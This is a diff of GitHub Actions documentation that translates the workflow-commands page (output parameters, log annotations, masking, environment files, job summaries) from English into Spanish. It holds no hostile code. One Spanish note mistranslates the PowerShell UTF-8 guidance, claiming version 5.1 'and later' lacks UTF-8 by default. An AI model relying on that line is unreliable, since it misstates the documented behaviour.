{%- ifversion actions-job-summaries %} | `core.summary` | Accesible mediante el archivo de entorno `GITHUB_STEP_SUMMARY` | {%- endif %} | `core.saveState` | {% ifversion actions-save-state-set-output-envs %}Accesible mediante el archivo de entorno `GITHUB_STATE`{% else %}`save-state`{% endif %} | | `core.setCommandEcho` | `echo` | | `core.setFailed` | Se usa como acceso directo de `::error` y `exit 1` | | `core.setOutput` | {% ifversion actions-save-state-set-output-envs %}Accesible mediante el archivo de entorno `GITHUB_OUTPUT`{% else %}`set-output`{% endif %} | | `core.setSecret` | `add-mask` | | `core.startGroup` | `group` | | `core.warning` | `warning` |
|
||||
|
||||
{% ifversion actions-save-state-set-output-envs %}{% else %}
|
||||
## Setting an output parameter
|
||||
## Configurar un parámetro de salida
|
||||
|
||||
Sets an action's output parameter.
|
||||
Establece un parámetro de salida de la acción.
|
||||
|
||||
```{:copy}
|
||||
::set-output name={name}::{value}
|
||||
```
|
||||
|
||||
Optionally, you can also declare output parameters in an action's metadata file. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions)."
|
||||
Opcionalmente, también puedes declarar parámetros de salida en el archivo de metadatos de una acción. Para más información, vea "[Sintaxis de metadatos para {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions)".
|
||||
|
||||
You can escape multiline strings for setting an output parameter by creating an environment variable and using it in a workflow command. For more information, see "[Setting an environment variable](#setting-an-environment-variable)."
|
||||
Para escapar cadenas multilínea para establecer un parámetro de salida, crea una variable de entorno y úsala en un comando de flujo de trabajo. Para obtener más información, consulta "[Configuración de una variable de entorno](#setting-an-environment-variable)".
|
||||
|
||||
### Example: Setting an output parameter
|
||||
### Ejemplo;: Configurar un parámetro de salida
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -187,18 +179,17 @@ echo "::set-output name=action_fruit::strawberry"
|
||||
Write-Output "::set-output name=action_fruit::strawberry"
|
||||
```
|
||||
|
||||
{% endpowershell %}
|
||||
{% endif %}
|
||||
{% endpowershell %} {% endif %}
|
||||
|
||||
## Setting a debug message
|
||||
## Agregar un mensaje de depuración
|
||||
|
||||
Prints a debug message to the log. You must create a secret named `ACTIONS_STEP_DEBUG` with the value `true` to see the debug messages set by this command in the log. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)."
|
||||
Imprime un mensaje de depuración en el registro. Debe crear un secreto denominado `ACTIONS_STEP_DEBUG` con el valor `true` para ver los mensajes de depuración establecidos por este comando en el registro. Para más información, vea "[Habilitación del registro de depuración](/actions/managing-workflow-runs/enabling-debug-logging)".
|
||||
|
||||
```{:copy}
|
||||
::debug::{message}
|
||||
```
|
||||
|
||||
### Example: Setting a debug message
|
||||
### Ejemplo: Configurar un mensaje de depuración
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -216,9 +207,9 @@ Write-Output "::debug::Set the Octocat variable"
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
## Setting a notice message
|
||||
## Configurar un mensaje de aviso
|
||||
|
||||
Creates a notice message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %}
|
||||
Crea un mensaje de aviso e imprime el mensaje en la bitácora. {% data reusables.actions.message-annotation-explanation %}
|
||||
|
||||
```{:copy}
|
||||
::notice file={name},line={line},endLine={endLine},title={title}::{message}
|
||||
@@ -226,7 +217,7 @@ Creates a notice message and prints the message to the log. {% data reusables.ac
|
||||
|
||||
{% data reusables.actions.message-parameters %}
|
||||
|
||||
### Example: Setting a notice message
|
||||
### Ejemplo: configurar un mensaje de notificación
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -244,9 +235,9 @@ Write-Output "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
## Setting a warning message
|
||||
## Configurar un mensaje de advertencia
|
||||
|
||||
Creates a warning message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %}
|
||||
Crea un mensaje de advertencia e imprime el mensaje en el registro. {% data reusables.actions.message-annotation-explanation %}
|
||||
|
||||
```{:copy}
|
||||
::warning file={name},line={line},endLine={endLine},title={title}::{message}
|
||||
@@ -254,7 +245,7 @@ Creates a warning message and prints the message to the log. {% data reusables.a
|
||||
|
||||
{% data reusables.actions.message-parameters %}
|
||||
|
||||
### Example: Setting a warning message
|
||||
### Ejemplo: Configurar un mensaje de advertencia
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -271,9 +262,9 @@ Write-Output "::warning file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
## Setting an error message
|
||||
## Configurar un mensaje de error
|
||||
|
||||
Creates an error message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %}
|
||||
Crea un mensaje de error e imprime el mensaje en el registro. {% data reusables.actions.message-annotation-explanation %}
|
||||
|
||||
```{:copy}
|
||||
::error file={name},line={line},endLine={endLine},title={title}::{message}
|
||||
@@ -281,7 +272,7 @@ Creates an error message and prints the message to the log. {% data reusables.ac
|
||||
|
||||
{% data reusables.actions.message-parameters %}
|
||||
|
||||
### Example: Setting an error message
|
||||
### Ejemplo: Configurar un mensaje de error
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -299,16 +290,16 @@ Write-Output "::error file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
## Grouping log lines
|
||||
## Agrupar líneas de las bitácoras
|
||||
|
||||
Creates an expandable group in the log. To create a group, use the `group` command and specify a `title`. Anything you print to the log between the `group` and `endgroup` commands is nested inside an expandable entry in the log.
|
||||
Crea un grupo expansible en la bitácora. Para crear un grupo, use el comando `group` y especifique `title`. Todo lo que imprima en el registro entre los comandos `group` y `endgroup` se anida dentro de una entrada expandible en el registro.
|
||||
|
||||
```{:copy}
|
||||
::group::{title}
|
||||
::endgroup::
|
||||
```
|
||||
|
||||
### Example: Grouping log lines
|
||||
### Ejemplo: Agrupar líneas de bitácoras
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -342,19 +333,19 @@ jobs:
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
|
||||
|
||||
|
||||
## Masking a value in log
|
||||
## Enmascarar un valor en el registro
|
||||
|
||||
```{:copy}
|
||||
::add-mask::{value}
|
||||
```
|
||||
|
||||
Masking a value prevents a string or variable from being printed in the log. Each masked word separated by whitespace is replaced with the `*` character. You can use an environment variable or string for the mask's `value`. When you mask a value, it is treated as a secret and will be redacted on the runner. For example, after you mask a value, you won't be able to set that value as an output.
|
||||
El enmascaramiento de un valor impide que una cadena o variable se imprima en el registro. Cada palabra enmascarada separada por un espacio en blanco se reemplaza con el carácter `*`. Puede usar una variable de entorno o una cadena para el valor `value` de la máscara. Al enmascarar un valor, se trata como un secreto y se oculta en el ejecutor. Por ejemplo, después de enmascarar un valor, no podrá establecerlo como salida.
|
||||
|
||||
### Example: Masking a string
|
||||
### Ejemplo: Enmascarar una secuencia
|
||||
|
||||
When you print `"Mona The Octocat"` in the log, you'll see `"***"`.
|
||||
Al imprimir `"Mona The Octocat"` en el registro, verá `"***"`.
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -374,13 +365,13 @@ Write-Output "::add-mask::Mona The Octocat"
|
||||
|
||||
{% warning %}
|
||||
|
||||
**Warning:** Make sure you register the secret with 'add-mask' before outputting it in the build logs or using it in any other workflow commands.
|
||||
**Advertencia:** asegúrate de registrar el secreto con "add-mask" antes de generarlo en los registros de compilación o usarlo en cualquier otro comando de flujo de trabajo.
|
||||
|
||||
{% endwarning %}
|
||||
|
||||
### Example: Masking an environment variable
|
||||
### Ejemplo: Enmascarar una variable de ambiente
|
||||
|
||||
When you print the variable `MY_NAME` or the value `"Mona The Octocat"` in the log, you'll see `"***"` instead of `"Mona The Octocat"`.
|
||||
Al imprimir la variable `MY_NAME` o el valor `"Mona The Octocat"` en el registro, verá `"***"` en lugar de `"Mona The Octocat"`.
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -412,19 +403,19 @@ jobs:
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
## Stopping and starting workflow commands
|
||||
## Detener e iniciar comandos de flujo de trabajo
|
||||
|
||||
Stops processing any workflow commands. This special command allows you to log anything without accidentally running a workflow command. For example, you could stop logging to output an entire script that has comments.
|
||||
Deja de procesar cualquier comando de flujo de trabajo. Este comando especial te permite registrar lo que sea sin ejecutar accidentalmente un comando de flujo de trabajo. Por ejemplo, podrías dejar de registrar para producir un script completo que tenga comentarios.
|
||||
|
||||
```{:copy}
|
||||
::stop-commands::{endtoken}
|
||||
```
|
||||
|
||||
To stop the processing of workflow commands, pass a unique token to `stop-commands`. To resume processing workflow commands, pass the same token that you used to stop workflow commands.
|
||||
Para detener el procesamiento de los comandos de flujo de trabajo, pase un token único a `stop-commands`. Para resumir los comandos de flujo de trabajo de procesamiento, pasa el mismo token que utilizaste para detener los comandos de flujo de trabajo.
|
||||
|
||||
{% warning %}
|
||||
|
||||
**Warning:** Make sure the token you're using is randomly generated and unique for each run.
|
||||
**Advertencia:** Asegúrese de que el token que usa se genera aleatoriamente y es único para cada ejecución.
|
||||
|
||||
{% endwarning %}
|
||||
|
||||
@@ -432,7 +423,7 @@ To stop the processing of workflow commands, pass a unique token to `stop-comman
|
||||
::{endtoken}::
|
||||
```
|
||||
|
||||
### Example: Stopping and starting workflow commands
|
||||
### Ejemplo: Parar e iniciar comandos de flujos de trabajo
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -479,22 +470,22 @@ jobs:
|
||||
{% endpowershell %}
|
||||
|
||||
{% ifversion actions-save-state-set-output-envs %}{% else %}
|
||||
## Echoing command outputs
|
||||
## Hacer eco en las salidas de comando
|
||||
|
||||
Enables or disables echoing of workflow commands. For example, if you use the `set-output` command in a workflow, it sets an output parameter but the workflow run's log does not show the command itself. If you enable command echoing, then the log shows the command, such as `::set-output name={name}::{value}`.
|
||||
Habilita o inhabilita el hacer eco en los comandos de los flujos de trabajo. Por ejemplo, si usa el comando `set-output` en un flujo de trabajo, establece un parámetro de salida pero el registro de la ejecución de flujo de trabajo no muestra el propio comando. Si habilita el eco de comandos, el registro muestra el comando, como `::set-output name={name}::{value}`.
|
||||
|
||||
```{:copy}
|
||||
::echo::on
|
||||
::echo::off
|
||||
```
|
||||
|
||||
Command echoing is disabled by default. However, a workflow command is echoed if there are any errors processing the command.
|
||||
El eco de comando se encuentra inhabilitado predeterminadamente. Sin embargo, los comandos de flujo de trabajo hacen eco si existen errores para procesarlos.
|
||||
|
||||
The `add-mask`, `debug`, `warning`, and `error` commands do not support echoing because their outputs are already echoed to the log.
|
||||
Los comandos `add-mask`, `debug`, `warning` y `error` no admiten el eco, porque sus salidas ya se han reproducido en el registro.
|
||||
|
||||
You can also enable command echoing globally by turning on step debug logging using the `ACTIONS_STEP_DEBUG` secret. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)". In contrast, the `echo` workflow command lets you enable command echoing at a more granular level, rather than enabling it for every workflow in a repository.
|
||||
También puede habilitar el eco de comandos globalmente si activa el registro de depuración de pasos mediante el secreto `ACTIONS_STEP_DEBUG`. Para más información, vea "[Habilitación del registro de depuración](/actions/managing-workflow-runs/enabling-debug-logging)". Por el contrario, el comando de flujo de trabajo `echo` permite habilitar el eco de comandos en un nivel más granular, en vez de habilitarlo para cada flujo de trabajo en un repositorio.
|
||||
|
||||
### Example: Toggling command echoing
|
||||
### Ejemplo: Alternar el eco de comandos
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -532,27 +523,26 @@ jobs:
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
The example above prints the following lines to the log:
|
||||
El ejemplo anterior imprime las siguientes líneas en la bitácora:
|
||||
|
||||
```{:copy}
|
||||
::set-output name=action_echo::enabled
|
||||
::echo::off
|
||||
```
|
||||
|
||||
Only the second `set-output` and `echo` workflow commands are included in the log because command echoing was only enabled when they were run. Even though it is not always echoed, the output parameter is set in all cases.
|
||||
Solo los segundos comandos de flujo de trabajo `set-output` y `echo` se incluyen en el registro, porque el eco de comandos solo se ha habilitado al ejecutarlos. Aunque no siempre hace eco, el parámetro de salida se configura en todos los casos.
|
||||
|
||||
{% endif %}
|
||||
|
||||
## Sending values to the pre and post actions
|
||||
## Enviar valores a las acciones pre y post
|
||||
|
||||
{% ifversion actions-save-state-set-output-envs %}You can create environment variables for sharing with your workflow's `pre:` or `post:` actions by writing to the file located at `GITHUB_STATE`{% else %}You can use the `save-state` command to create environment variables for sharing with your workflow's `pre:` or `post:` actions{% endif %}. For example, you can create a file with the `pre:` action, pass the file location to the `main:` action, and then use the `post:` action to delete the file. Alternatively, you could create a file with the `main:` action, pass the file location to the `post:` action, and also use the `post:` action to delete the file.
|
||||
{% ifversion actions-save-state-set-output-envs %} Puedes crear variables de entorno para compartirlas con las acciones `pre:` o `post:` del flujo de trabajo, escribiendo para ello en el archivo ubicado en `GITHUB_STATE`.{% else %}Puedes usar el comando `save-state` para crear variables de entorno para compartirlas con las acciones `pre:` o `post:` del flujo de trabajo{% endif %}. Por ejemplo, puede crear un archivo con la acción `pre:`, pasar la ubicación del archivo a la acción `main:` y, después, usar la acción `post:` para eliminar el archivo. Como alternativa, podría crear un archivo con la acción `main:`, pasar la ubicación del archivo a la acción `post:` y también usar la acción `post:` para eliminar el archivo.
|
||||
|
||||
If you have multiple `pre:` or `post:` actions, you can only access the saved value in the action where {% ifversion actions-save-state-set-output-envs %}it was written to `GITHUB_STATE`{% else %}`save-state` was used{% endif %}. For more information on the `post:` action, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runspost)."
|
||||
Si tienes varias acciones `pre:` o `post:`, solo podrás acceder al valor guardado en la acción donde {% ifversion actions-save-state-set-output-envs %}se escribió en `GITHUB_STATE`{% else %}se usó `save-state`{% endif %}. Para más información sobre la acción `post:`, vea "[Sintaxis de metadatos para {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runspost)".
|
||||
|
||||
{% ifversion actions-save-state-set-output-envs %}The `GITHUB_STATE` file is only available within an action{% else %}The `save-state` command can only be run within an action, and is not available to YAML files{% endif %}. The saved value is stored as an environment value with the `STATE_` prefix.
|
||||
{% ifversion actions-save-state-set-output-envs %}El archivo `GITHUB_STATE` solo está disponible dentro de una acción{% else %}El comando `save-state` solo se puede ejecutar dentro de una acción y no está disponible para los archivos YAML{% endif %}. El valor guardado se almacena como un valor de entorno con el prefijo `STATE_`.
|
||||
|
||||
{% ifversion actions-save-state-set-output-envs %}
|
||||
This example uses JavaScript to write to the `GITHUB_STATE` file. The resulting environment variable is named `STATE_processID` with the value of `12345`:
|
||||
{% ifversion actions-save-state-set-output-envs %} En este ejemplo se usa JavaScript para escribir en el archivo `GITHUB_STATE`. La variable de entorno resultante se denomina `STATE_processID` con el valor de `12345`:
|
||||
|
||||
```javascript{:copy}
|
||||
import * as fs from 'fs'
|
||||
@@ -563,31 +553,28 @@ fs.appendFileSync(process.env.GITHUB_STATE, `processID=12345${os.EOL}`, {
|
||||
})
|
||||
```
|
||||
|
||||
{% else %}
|
||||
This example uses JavaScript to run the `save-state` command. The resulting environment variable is named `STATE_processID` with the value of `12345`:
|
||||
{% else %} En este ejemplo se usa JavaScript para ejecutar el comando `save-state`. La variable de entorno resultante se denomina `STATE_processID` con el valor de `12345`:
|
||||
|
||||
```javascript{:copy}
|
||||
console.log('::save-state name=processID::12345')
|
||||
```
|
||||
{% endif %}
|
||||
|
||||
The `STATE_processID` variable is then exclusively available to the cleanup script running under the `main` action. This example runs in `main` and uses JavaScript to display the value assigned to the `STATE_processID` environment variable:
|
||||
Después, la variable `STATE_processID` está disponible exclusivamente para el script de limpieza que se ejecuta en la acción `main`. Este ejemplo se ejecuta en `main` y usa JavaScript para mostrar el valor asignado a la variable de entorno `STATE_processID`:
|
||||
|
||||
```javascript{:copy}
|
||||
console.log("The running PID from the main action is: " + process.env.STATE_processID);
|
||||
```
|
||||
|
||||
## Environment files
|
||||
## Archivos de ambiente
|
||||
|
||||
During the execution of a workflow, the runner generates temporary files that can be used to perform certain actions. The path to these files are exposed via environment variables. You will need to use UTF-8 encoding when writing to these files to ensure proper processing of the commands. Multiple commands can be written to the same file, separated by newlines.
|
||||
|
||||
Most commands in the following examples use double quotes for echoing strings, which will attempt to interpolate characters like `$` for shell variable names. To always use literal values in quoted strings, you can use single quotes instead.
|
||||
Durante la ejecución de un flujo de trabajo, el ejecutor genera archivos temporales que pueden utilizarse para llevar a cabo ciertas acciones. La ruta a estos archivos se expone a través de variables de ambiente. Necesitarás utilizar codificación UTF-8 cuando escribas en estos archivos para garantizar el procesamiento adecuado de los comandos. Se pueden escribir varios comandos en el mismo archivo, separados por líneas nuevas.
|
||||
|
||||
{% powershell %}
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** PowerShell versions 5.1 and below (`shell: powershell`) do not use UTF-8 by default, so you must specify the UTF-8 encoding. For example:
|
||||
**Nota:** En las versiones 5.1 y posteriores de PowerShell (`shell: powershell`) no se usa UTF-8 de forma predeterminada, por lo que debe especificar la codificación UTF-8. Por ejemplo:
|
||||
|
||||
```yaml{:copy}
|
||||
jobs:
|
||||
@@ -599,7 +586,7 @@ jobs:
|
||||
"mypath" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
```
|
||||
|
||||
PowerShell Core versions 6 and higher (`shell: pwsh`) use UTF-8 by default. For example:
|
||||
En las versiones 6 y superiores de PowerShell Core (`shell: pwsh`) se usa UTF-8 de forma predeterminada. Por ejemplo:
|
||||
|
||||
```yaml{:copy}
|
||||
jobs:
|
||||
@@ -615,7 +602,7 @@ jobs:
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
## Setting an environment variable
|
||||
## Configuración de una variable de entorno
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -627,13 +614,13 @@ echo "{environment_variable_name}={value}" >> $GITHUB_ENV
|
||||
|
||||
{% powershell %}
|
||||
|
||||
- Using PowerShell version 6 and higher:
|
||||
- Utilizar PowerShell versión 6 y superior:
|
||||
|
||||
```pwsh{:copy}
|
||||
"{environment_variable_name}={value}" >> $env:GITHUB_ENV
|
||||
```
|
||||
|
||||
- Using PowerShell version 5.1 and below:
|
||||
- Utilizar PowerShell versión 5.1 e inferior:
|
||||
|
||||
```powershell{:copy}
|
||||
"{environment_variable_name}={value}" | Out-File -FilePath $env:GITHUB_ENV -Encoding utf8 -Append
|
||||
@@ -641,9 +628,9 @@ echo "{environment_variable_name}={value}" >> $GITHUB_ENV
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
You can make an environment variable available to any subsequent steps in a workflow job by defining or updating the environment variable and writing this to the `GITHUB_ENV` environment file. The step that creates or updates the environment variable does not have access to the new value, but all subsequent steps in a job will have access. The names of environment variables are case-sensitive, and you can include punctuation. For more information, see "[Environment variables](/actions/learn-github-actions/environment-variables)."
|
||||
Puede hacer que una variable de entorno esté disponible en cualquier paso posterior de un trabajo de un flujo de trabajo si define o actualiza la variable de entorno, y lo escribe en el archivo de entorno `GITHUB_ENV`. El paso que crea o actualiza la variable de ambiente no tiene acceso al valor nuevo, pero todos los pasos subsecuentes en un job tendrán acceso. Los nombres de las variables de ambiente distinguen entre mayúsculas y minúsculas y puedes incluir signos de puntuación. Para más información, vea "[Variables de entorno](/actions/learn-github-actions/environment-variables)".
|
||||
|
||||
### Example
|
||||
### Ejemplo
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -681,9 +668,9 @@ steps:
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
### Multiline strings
|
||||
### Secuencias de línea múltiple
|
||||
|
||||
For multiline strings, you may use a delimiter with the following syntax.
|
||||
Para las secuencias de lìnea mùltiple, puedes utilizar un delimitador con la siguiente sintaxis.
|
||||
|
||||
```{:copy}
|
||||
{name}<<{delimiter}
|
||||
@@ -693,13 +680,13 @@ For multiline strings, you may use a delimiter with the following syntax.
|
||||
|
||||
{% warning %}
|
||||
|
||||
**Warning:** Make sure the delimiter you're using is randomly generated and unique for each run. For more information, see "[Understanding the risk of script injections](/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)".
|
||||
**Advertencia:** Asegúrate de que el delimitador que usas se genera aleatoriamente y es único para cada ejecución. Para más información, consulta "[Descripción del riesgo de las inyecciones de scripts](/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)".
|
||||
|
||||
{% endwarning %}
|
||||
|
||||
#### Example
|
||||
#### Ejemplo
|
||||
|
||||
This example uses `EOF` as a delimiter, and sets the `JSON_RESPONSE` environment variable to the value of the `curl` response.
|
||||
En este ejemplo se usa `EOF` como delimitador y se establece la variable de entorno `JSON_RESPONSE` en el valor de la respuesta `curl`.
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -731,9 +718,9 @@ steps:
|
||||
{% endpowershell %}
|
||||
|
||||
{% ifversion actions-save-state-set-output-envs %}
|
||||
## Setting an output parameter
|
||||
## Configurar un parámetro de salida
|
||||
|
||||
Sets a step's output parameter. Note that the step will need an `id` to be defined to later retrieve the output value.
|
||||
Establece el parámetro de salida de un paso. Ten en cuenta en el paso hay que definir un `id` para recuperar el valor de salida posteriormente.
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -750,11 +737,11 @@ echo "{name}={value}" >> $GITHUB_OUTPUT
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
### Example
|
||||
### Ejemplo
|
||||
|
||||
{% bash %}
|
||||
|
||||
This example demonstrates how to set the `SELECTED_COLOR` output parameter and later retrieve it:
|
||||
En este ejemplo se muestra cómo establecer el parámetro de salida `SELECTED_COLOR` y recuperarlo posteriormente:
|
||||
|
||||
{% raw %}
|
||||
```yaml{:copy}
|
||||
@@ -770,8 +757,7 @@ This example demonstrates how to set the `SELECTED_COLOR` output parameter and l
|
||||
|
||||
{% powershell %}
|
||||
|
||||
{% raw %}
|
||||
This example demonstrates how to set the `SELECTED_COLOR` output parameter and later retrieve it:
|
||||
{% raw %} En este ejemplo se muestra cómo establecer el parámetro de salida `SELECTED_COLOR` y recuperarlo posteriormente:
|
||||
|
||||
```yaml{:copy}
|
||||
- name: Set color
|
||||
@@ -783,12 +769,11 @@ This example demonstrates how to set the `SELECTED_COLOR` output parameter and l
|
||||
```
|
||||
{% endraw %}
|
||||
|
||||
{% endpowershell %}
|
||||
{% endif %}
|
||||
{% endpowershell %} {% endif %}
|
||||
|
||||
{% ifversion actions-job-summaries %}
|
||||
|
||||
## Adding a job summary
|
||||
## Adición de un resumen de trabajos
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -806,13 +791,13 @@ echo "{markdown content}" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
You can set some custom Markdown for each job so that it will be displayed on the summary page of a workflow run. You can use job summaries to display and group unique content, such as test result summaries, so that someone viewing the result of a workflow run doesn't need to go into the logs to see important information related to the run, such as failures.
|
||||
Puedes establecer Markdown personalizado para cada trabajo de modo que se muestre en la página de resumen de una ejecución de flujo de trabajo. Puedes usar resúmenes de trabajos para mostrar y agrupar contenido único, como resúmenes de resultados de pruebas, de modo que alguien que vea el resultado de una ejecución de flujo de trabajo no necesite ir a los registros para ver información importante relacionada con la ejecución, como errores.
|
||||
|
||||
Job summaries support [{% data variables.product.prodname_dotcom %} flavored Markdown](https://github.github.com/gfm/), and you can add your Markdown content for a step to the `GITHUB_STEP_SUMMARY` environment file. `GITHUB_STEP_SUMMARY` is unique for each step in a job. For more information about the per-step file that `GITHUB_STEP_SUMMARY` references, see "[Environment files](#environment-files)."
|
||||
Los resúmenes de trabajos admiten [Markdown de tipo {% data variables.product.prodname_dotcom %}](https://github.github.com/gfm/) y puedes agregar el contenido de Markdown para un paso al archivo de entorno `GITHUB_STEP_SUMMARY`. `GITHUB_STEP_SUMMARY` es único para cada paso de un trabajo. Para obtener más información sobre el archivo por paso al que hace referencia `GITHUB_STEP_SUMMARY`, consulta "[Archivos de entorno](#environment-files)".
|
||||
|
||||
When a job finishes, the summaries for all steps in a job are grouped together into a single job summary and are shown on the workflow run summary page. If multiple jobs generate summaries, the job summaries are ordered by job completion time.
|
||||
Cuando un trabajo finaliza, los resúmenes de todos los pasos de un trabajo se agrupan en un único resumen de trabajo y se muestran en la página resumen de ejecución del flujo de trabajo. Si varios trabajos generan resúmenes, estos se ordenan según la hora de finalización del trabajo.
|
||||
|
||||
### Example
|
||||
### Ejemplo
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -830,13 +815,13 @@ echo "### Hello world! :rocket:" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
|
||||
|
||||
|
||||
### Multiline Markdown content
|
||||
### Contenido de Markdown multilínea
|
||||
|
||||
For multiline Markdown content, you can use `>>` to continuously append content for the current step. With every append operation, a newline character is automatically added.
|
||||
En el caso de contenido de Markdown multilínea, puedes usar `>>` para anexar continuamente contenido al paso actual. Con cada operación de anexión, se agrega automáticamente un carácter de nueva línea.
|
||||
|
||||
#### Example
|
||||
#### Ejemplo
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -866,11 +851,11 @@ For multiline Markdown content, you can use `>>` to continuously append content
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
### Overwriting job summaries
|
||||
### Sobrescritura de resúmenes de trabajos
|
||||
|
||||
To clear all content for the current step, you can use `>` to overwrite any previously added content.
|
||||
Para borrar todo el contenido del paso actual, puedes usar `>` para sobrescribir cualquier contenido agregado anteriormente.
|
||||
|
||||
#### Example
|
||||
#### Ejemplo
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -894,11 +879,11 @@ To clear all content for the current step, you can use `>` to overwrite any prev
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
### Removing job summaries
|
||||
### Eliminación de resúmenes de trabajos
|
||||
|
||||
To completely remove a summary for the current step, the file that `GITHUB_STEP_SUMMARY` references can be deleted.
|
||||
Para quitar completamente un resumen del paso actual, se puede eliminar el archivo al que hace referencia `GITHUB_STEP_SUMMARY`.
|
||||
|
||||
#### Example
|
||||
#### Ejemplo
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -922,17 +907,17 @@ To completely remove a summary for the current step, the file that `GITHUB_STEP_
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
After a step has completed, job summaries are uploaded and subsequent steps cannot modify previously uploaded Markdown content. Summaries automatically mask any secrets that might have been added accidentally. If a job summary contains sensitive information that must be deleted, you can delete the entire workflow run to remove all its job summaries. For more information see "[Deleting a workflow run](/actions/managing-workflow-runs/deleting-a-workflow-run)."
|
||||
Una vez que se ha completado un paso, se cargan los resúmenes de trabajo y los pasos posteriores no pueden modificar el contenido de Markdown cargado anteriormente. Los resúmenes enmascaran automáticamente los secretos que podrían haberse agregado de forma accidental. Si un resumen de trabajo contiene información confidencial que se debe eliminar, puedes eliminar toda la ejecución del flujo de trabajo para quitar todos sus resúmenes de trabajo. Para obtener más información, consulta "[Eliminación de una ejecución de flujo de trabajo](/actions/managing-workflow-runs/deleting-a-workflow-run)".
|
||||
|
||||
### Step isolation and limits
|
||||
### Aislamiento y límites de pasos
|
||||
|
||||
Job summaries are isolated between steps and each step is restricted to a maximum size of 1MiB. Isolation is enforced between steps so that potentially malformed Markdown from a single step cannot break Markdown rendering for subsequent steps. If more than 1MiB of content is added for a step, then the upload for the step will fail and an error annotation will be created. Upload failures for job summaries do not affect the overall status of a step or a job. A maximum of 20 job summaries from steps are displayed per job.
|
||||
Los resúmenes de trabajo están aislados entre los pasos y cada paso está restringido a un tamaño máximo de 1 MiB. Se aplica aislamiento entre los pasos para que el Markdown que podría tener un formato incorrecto en un paso no pueda interrumpir la representación de Markdown para los pasos posteriores. Si se agrega más de 1 MiB de contenido a un paso, se producirá un error en la carga del paso y se creará una anotación de error. Los errores de carga de resúmenes de trabajos no afectan al estado general de un paso o un trabajo. Se muestra un máximo de 20 resúmenes de trabajos de los pasos por trabajo.
|
||||
|
||||
{% endif %}
|
||||
|
||||
## Adding a system path
|
||||
## Agregar una ruta de sistema
|
||||
|
||||
Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. To see the currently defined paths for your job, you can use `echo "$PATH"` in a step or an action.
|
||||
Antepone un directorio a la variable del sistema `PATH` y hace que esté disponible automáticamente para todas las acciones posteriores en el trabajo actual; la acción que está actualmente en ejecución no puede acceder a la variable de ruta actualizada. A fin de ver las rutas definidas actualmente para el trabajo, puede usar `echo "$PATH"` en un paso o una acción.
|
||||
|
||||
{% bash %}
|
||||
|
||||
@@ -949,11 +934,11 @@ echo "{path}" >> $GITHUB_PATH
|
||||
|
||||
{% endpowershell %}
|
||||
|
||||
### Example
|
||||
### Ejemplo
|
||||
|
||||
{% bash %}
|
||||
|
||||
This example demonstrates how to add the user `$HOME/.local/bin` directory to `PATH`:
|
||||
En este ejemplo se muestra cómo agregar el directorio de usuario `$HOME/.local/bin` a `PATH`:
|
||||
|
||||
```bash{:copy}
|
||||
echo "$HOME/.local/bin" >> $GITHUB_PATH
|
||||
@@ -963,7 +948,7 @@ echo "$HOME/.local/bin" >> $GITHUB_PATH
|
||||
|
||||
{% powershell %}
|
||||
|
||||
This example demonstrates how to add the user `$env:HOMEPATH/.local/bin` directory to `PATH`:
|
||||
En este ejemplo se muestra cómo agregar el directorio de usuario `$env:HOMEPATH/.local/bin` a `PATH`:
|
||||
|
||||
```pwsh{:copy}
|
||||
